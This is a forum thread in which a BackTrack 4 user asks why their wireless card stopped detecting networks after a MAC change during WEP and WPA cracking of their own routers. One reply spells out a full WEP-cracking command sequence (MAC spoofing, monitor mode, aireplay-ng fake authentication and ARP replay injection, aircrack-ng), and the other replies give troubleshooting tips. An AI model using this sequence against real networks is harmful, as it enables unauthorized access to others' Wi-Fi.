Wireless was working, now its not
Specs:
BT4 Pre-Final Live CD
Broadcom 4318 MiniPCI
What happened:
I first started by trying doing a WEP injection attack on my local router, it worked out, I got my WEP key. Then I changed to working on a WPA handshake capture of another one of my local routers.
While doing so, I noticed my capture channel kept changing, so I stopped the wlan0 and mon0 interfaces with airmon-ng and downed them w/ ifconfig. I then changed the mac of the wlan0 interface with macchanger, upped it w/ ifconfig. At this point it stopped recognizing my wireless networks. And not just my two, but the other six ones in the neighborhood.
So I did the logical thing, I rebooted, thinking that this would solve the problem. Thing is, it didn't. It won't detect any of the available wireless networks, not in airmon-ng and not in wicd.
I used to only detect three interfaces after running /etc/init.d/networking start, they were lo, eth0, and wlan0. Now, I get 4 interfaces: lo, eth0, wlan0, and wmaster0.
So, what commands should I run to post the output here, so someone can help me?
hope this work
in bt4 pf i use this codes
in different konsole each of thesesudo su
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
sudo su
airmon-ng stop wlan0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airodump-ng wlan0
airodump-ng -c 11 -w noclient.cap wlan0
aireplay-ng -1 30 -e essid -a bssid -h 00:11:22:33:44:55 wlan0
aireplay-ng -3 -b bssid -h 00:11:22:33:44:55 wlan0
aircrack-ng -x noclient.cap-01.cap
seconds away FOUND KEY
if you aren't familiar with airmon-ng creating mon0 interface, don't use airmon-ng.. learn to use iwconfig as it can turn the interface into monitor without having to create another inteface.
Also I'd run iwevent to see if the channel is constantly hopping, if it is, chances are there is some other program accessing and adjusting the interface.. when it comes down to WEP cracking, make sure programs like networkmanager, wpa_supplicant, wicd, etc are all turned off. Then use airodump-ng to lock on one channel.
Why are you using sudo twice??Originally Posted by manulu
Skill.
What is happening is your are setting up a monitor mode on vap, mon0. If you do not use mon0, then when you set a fixed channel, it still hops channels. Use the device for monitoring and mon0 for injecting or vice-versa.
Uhh, no. Once you enter the sudo su command, you're root until you exit it. Looks like you're just following a script without actually knowing what you're doing....
Sarcastic joke.
